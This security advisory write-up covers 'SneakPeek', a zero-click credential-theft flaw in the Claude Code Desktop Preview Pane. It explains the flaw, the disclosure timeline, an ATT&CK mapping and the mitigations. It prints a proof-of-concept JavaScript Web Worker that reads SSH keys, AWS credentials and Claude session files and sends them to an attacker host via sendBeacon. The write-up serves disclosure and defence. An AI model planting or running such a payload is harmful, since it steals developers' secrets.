# SneakPeek: Zero-Click Vulnerability in Claude Code Desktop

> **Quick Summary**: A critical vulnerability targeting the Preview Pane feature of Claude Code Desktop. Scored CVSS v4.0: 8.7 (High) by Anthropic with an impact treated as equivalent to arbitrary code execution, the vulnerability allows attackers to steal all of a developer's SSH keys, AWS credentials, GitHub tokens, and OAuth session tokens simply by asking Claude to open a normal-looking test coverage report, requiring no clicks or permission approvals from the user.

---

## Overview Summary

The SneakPeek vulnerability in the Claude Code Desktop application allows attackers to silently read and exfiltrate all data across a developer's filesystem through the automated document display mechanism (Preview Pane). The risk does not originate from a traditional buffer overflow, but from the combination of 3 logical flaws in the Electron architecture: size-based file handling branches, lack of Content Security Policy (CSP) on local loading streams, and network request filters disabled when processing static files.

The scope of impact encompasses software engineers, DevOps infrastructure operations teams, and security analysts using Claude Desktop on workstations. A victim merely needs to open an open-source project containing a booby-trapped HTML file (such as a test coverage report) and ask Claude to analyze it; malicious JavaScript triggers automatically as soon as the preview pane opens, stealing SSH keys, AWS credentials, GitHub access tokens, and OAuth sessions.

**Most critical action required immediately**: Verify that Claude Desktop has automatically updated to version 1.30096.1 or later. If engineering teams opened unvetted third-party repositories between July and August 2026, proactively revoke and rotate local SSH keys, API keys, and credentials stored on the workstation.

---

## Technical Context

- **Severity**: CVSS v4.0: 8.7 (High) — assessed directly by Anthropic's security team and classified as equivalent to Remote Code Execution (RCE) on the workstation.
- **Flaw Classification**: CWE-79 (Improper Neutralization of Input During Web Page Generation), CWE-59 (Improper Link Resolution Before File Access), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor).
- **Affected Platforms**: Claude Code Desktop running on Electron (Windows, macOS, Linux) prior to patch 1.30096.1.
- **Exploit Conditions**: The victim opens a project containing a malicious HTML file and issues a prompt causing Claude to read the file. No administrator privileges required, no permission pop-ups displayed.

![](https://cdn.hashnode.com/uploads/covers/669e2c7992d73f3fd8335153/17518d82-92f6-4e6e-9841-f397b0ab087b.png align="center")

*Figure 1: CVSS 8.7 severity classification assessment from Anthropic's security response system.*

---

## SneakPeek Attack Chain Diagram

The exploitation flow occurs completely silently from the moment the developer submits the prompt until sensitive data is transmitted to an external server:

![](https://cdn.hashnode.com/uploads/covers/669e2c7992d73f3fd8335153/143ac923-9e64-429b-9e1f-183e8ff9188a.png align="center")

*Figure 2: The 5-stage exploit chain of SneakPeek dismantling Claude Desktop's 3 defensive layers.*

---

## In-Depth Technical Analysis

### Nature of the Preview Pane Component

In Claude Code Desktop, the Preview Pane acts as an embedded visual renderer within the application interface. When Claude reads or creates UI files such as HTML, SVG, or Markdown, the application automatically displays a preview in a secondary panel so users do not need to switch to an external browser.

Because Claude Desktop is built on Electron, the Preview Pane is essentially a mini Chromium browser. To protect workstations against malicious files, Anthropic's architecture implements 3 independent defense layers:

1. **Content Security Policy (CSP)**: Configured with `script-src 'none'` to disable all `<script>` tags and inline JavaScript.
2. **Origin Isolation**: Loaded via `data:` URLs to create an opaque origin, isolating the rendered page from the disk filesystem.
3. **Request Filter**: A request-blocking filter integrated into the dev-server proxy to intercept unauthorized callbacks to internal resources.

#### Flaw 1: The 256KB Threshold and file:// Loading Mechanism

Claude Code Desktop splits HTML rendering logic based on size:

- **Files under 256KB**: Loaded via `data:` URLs. The base64 string loaded into memory maintains an opaque origin, preventing access to neighboring files.
- **Files over 256KB**: Due to Chromium URL length limits, the application writes the content to a temporary disk file and loads it via the `file://` scheme.

Under Chromium's Same-Origin Policy for file schemes, a page running under a `file://` context can access other local resources on the same filesystem unless strictly restricted.

#### Flaw 2: Missing CSP on the file:// Branch

The CSP security policy (`script-src 'none'`) was only hardcoded into the `data:` URL handling flow. When the application switched to loading files via `file://` for files larger than 256KB, CSP headers or meta tags were completely omitted. JavaScript embedded within large HTML files executed unrestricted.

#### Flaw 3: Request Filter Inactive for Static Files

The request filter was designed to block `file://` read requests originating from the renderer. However, it only engaged when the preview pane served as a proxy for an active dev server (e.g., local React or Express). When opening a static HTML file from disk (such as a test coverage report or offline docs), the preview rendered directly from disk without proxying through the dev server, leaving the filter inactive and resolving `fetch()` calls against the real local filesystem.

### Data Theft Scenario via sendBeacon

To disguise a payload exceeding 256KB without suspicion, attackers embedded exploits into test coverage reports, which naturally span hundreds of kilobytes to megabytes due to bundled source maps, CSS, and module hierarchies.

The attack progression:

1. Attacker creates a public GitHub repo with legitimate code and a padded coverage report (> 256KB) containing exploit code.
2. Developer clones the project and prompts Claude: *"Help me analyze untested functions in this coverage report."*
3. Claude reads the file, triggering Preview Pane auto-render.
4. JavaScript resolves the victim's `$HOME` or `%USERPROFILE%` path from the temporary file path.
5. The exploit queries and steals sensitive files:
   - SSH private keys: `~/.ssh/id_rsa`, `~/.ssh/id_ed25519`
   - Cloud credentials: `~/.aws/credentials`, `~/.aws/config`
   - Developer tokens: `~/.npmrc`, `~/.gitconfig`
   - Cluster & registry configs: `~/.kube/config`, `~/.docker/config.json`
   - Claude credentials: `~/.claude.json` and OAuth session tokens
6. Stolen data is bundled and sent to the attacker's server via `navigator.sendBeacon()`, an asynchronous one-way HTTP POST that completes in the background even if the preview panel is closed, unhindered by any egress CSP restrictions.

---

## Bypassing the Initial Fix (Patch Bypass)

Following Noma Labs' disclosure in early July 2026, Anthropic deployed an initial patch on July 24, 2026, blocking direct `fetch()` and `XMLHttpRequest` calls to `file://` paths from the main page context.

However, researchers bypassed this fix within hours by moving execution into a **Web Worker** spawned from a `blob:` **URL**:

```javascript
// Noma Labs Proof-of-Concept demonstrating the Web Worker request-filter bypass
const workerCode = `
  self.onmessage = async function(e) {
    for (const target of e.data) {
      try {
        // The Web Worker's fetch() call bypasses the main renderer's request filter
        const r = await fetch('file://' + target.path);
        if (r.ok) {
          const text = await r.text();
          // Relay stolen file contents back to the main thread for exfiltration
          self.postMessage({tag: target.tag, data: text});
        }
      } catch(e) {}
    }
  };
`;

// Spawning the Worker via a blob: URL creates an independent execution context
const blob = new Blob([workerCode], {type: 'application/javascript'});
const worker = new Worker(URL.createObjectURL(blob));

// Dispatch targeted sensitive file paths to the background worker
worker.postMessage([
  {tag: 'ssh', path: '/Users/victim/.ssh/id_rsa'},
  {tag: 'aws', path: '/Users/victim/.aws/credentials'},
  {tag: 'claude', path: '/Users/victim/.claude.json'}
]);

worker.onmessage = function(e) {
  // Silent background transmission via sendBeacon
  navigator.sendBeacon('https://attacker-telemetry.com/collect', JSON.stringify(e.data));
};
```

Because the Web Worker runs in an isolated thread with an independent global scope, the proxy filter on the main renderer could not intercept `fetch()` calls in the Worker. Once read, data was relayed to the main thread via `postMessage()`, which fired `navigator.sendBeacon()`.

![Figure 3: Anthropic Retest Acknowledgement](6acf58b7ef26796eed192d34_SneakPeek_Retest_Ack_from_Anthropic_NomaLabs.png align="center")

*Figure 3: Email confirmation from Anthropic Security acknowledging the patch was incomplete and returning the report to triage for deep architectural remediation.*

Anthropic subsequently re-engineered the rendering architecture: applying strict CSP across all protocols, isolating Worker environments, and eliminating unconstrained `file://` loading. The comprehensive fix rolled out automatically in Claude Desktop 1.30096.1 on August 17, 2026.

---

## Responsible Disclosure Timeline

The coordinated disclosure process between Noma Labs and Anthropic adhered strictly to responsible industry practices:

| Date | Event |
| --- | --- |
| **July 4, 2026** | Initial Report: Vulnerability reported to Anthropic with full PoC demonstrating exfiltration of sensitive credentials via arbitrary JavaScript execution in the file preview pane. |
| **July 9, 2026** | Triage: Anthropic scored the vulnerability CVSS 8.7 (High). |
| **July 24, 2026** | Patch and Retest: Anthropic fixed the vulnerability and requested a retest. |
| **July 24, 2026** | Bypass Reported: Noma Labs demonstrated that the `blob:` URL scheme Web Workers bypass the request filter. Full bypass PoC with video walkthrough submitted. |
| **August 3, 2026** | Bypass Confirmed: Anthropic confirmed the fix is incomplete and moved the report back to Triaged. Complete fix covering CSP, `file://` loading, and the Worker bypass in progress. |
| **August 17, 2026** | Anthropic issued a fix in Claude Desktop 1.30096.1 and later, delivered via auto-update. |
| **October 14, 2026** | Coordinated public disclosure by Noma Labs and Dark Reading following a 60-day remediation grace period. |

---

## MITRE ATT&CK Mapping

| Tactic | Technique ID | Technique Name | SneakPeek Implementation Details |
| --- | --- | --- | --- |
| **Initial Access** | **T1189** | Drive-by Compromise | Weaponized HTML assets rendered automatically by Claude Desktop Preview Pane. |
| **Execution** | **T1059.007** | JavaScript | Unrestricted script execution within Chromium rendering engine of Electron app. |
| **Defense Evasion** | **T1027** | Obfuscated Files or Information | Padding HTML files past 256KB disguised as standard test coverage artifacts. |
| **Defense Evasion** | **T1564** | Hide Artifacts | Spawning Web Workers from `blob:` URLs to evade proxy-level request filters. |
| **Credential Access** | **T1552.001** | Credentials in Files | Arbitrary local file reads targeting SSH keys, AWS secrets, and npm/GitHub tokens. |
| **Collection** | **T1005** | Data from Local System | Exfiltration of Kubernetes cluster configs, Docker credentials, and Claude session files. |
| **Exfiltration** | **T1041** | Exfiltration Over C2 Channel | Background asynchronous transmission to adversary servers via `navigator.sendBeacon()`. |

---

## FPT IS Expert Assessment

The CVSS v4.0 score of 8.7 accurately captures the severity of SneakPeek. While the exploit does not immediately yield an interactive root shell, harvesting developer SSH private keys, AWS tokens, and OAuth sessions grants attackers direct, authenticated ingress into enterprise cloud estates and source code repositories.

In Vietnam, the adoption wave of AI coding assistants (Claude Desktop, Cursor, Copilot) has exploded over the past two years across tech companies, banking institutions, and telecom enterprises. Most software engineers operate with high default trust: storing plaintext credentials of Dev/Staging (and even Production) environments directly in their home directory for convenience. When an engineer pulls an unfamiliar open-source library to inspect and asks AI to summarize or evaluate it, traditional perimeter defenses at the gateway are bypassed completely because the request originates from an internal user.

SneakPeek once again affirms the growing supply chain attack trend targeting developer workstations (**Developer Endpoint as Gateway**). Attackers do not need to invest heavy resources in direct assaults against hardened firewalls or cloud servers; instead, they target logical flaws in emerging developer productivity tools. Similar lessons from earlier Workspace Trust vulnerabilities in VS Code demonstrate that as long as AI tools run directly on host machines with permissions equal to the user, context-driven zero-click exploitation techniques will continue to emerge.

---

## Defensive Recommendations

### Immediate Actions (0–24 Hours)

- **Check and Upgrade**: Verify that all workstations using Claude Desktop within the internal network are updated to at least version 1.30096.1. Re-enable automatic updates if locally disabled by policy.
- **Audit Repositories**: If any team members opened unfamiliar public repositories and asked Claude to analyze HTML files or coverage reports prior to August 17, 2026, isolate the workstation for log review.

### Short-Term Actions (1–7 Days)

- **Credential Rotation**: Regenerate all SSH keys, GitHub Personal Access Tokens, and AWS Access Keys created or stored on workstations with Claude Desktop installed prior to the patch release.
- **Monitor Developer Network Connections**: Configure EDR and Network Proxies to strictly monitor outbound connections originating from IDE processes or AI desktop clients to external IP addresses outside official vendor domain lists.

### Long-Term Strategy

- **Development Environment Isolation**: Transition software engineering workflows into isolated environments (such as Docker Dev Containers or Cloud Dev Environments). Prohibit storing private keys and production tokens directly in the workstation `$HOME` directory.
- **Centralized Secrets Management**: Utilize access tools based on short-lived sessions (such as AWS IAM Identity Center / SSO, HashiCorp Vault, 1Password CLI) instead of storing static credentials long-term on disk.
- **AI Tool Risk Assessment**: Establish governance processes for installing and granting permissions to desktop AI agent applications, ensuring all data flows handled by AI comply with the Principle of Least Privilege.

---

## References

- Noma Labs: *SneakPeek: How the Preview Pane in Claude Code Desktop Can Exfiltrate Your Data*, Eli Ainhorn (Oct 14, 2026).
- Dark Reading: *Anthropic 'SneakPeek' Flaw Is a Silent Zero-Click Threat*, Becky Bracken (Oct 2026).
- Anthropic Trust & Safety: *Claude Desktop Security Bulletins & Auto-Update Advisory* (Aug 17, 2026).
- MITRE ATT&CK Framework: *Enterprise Matrix v15 - Supply Chain Compromise & Web Execution*.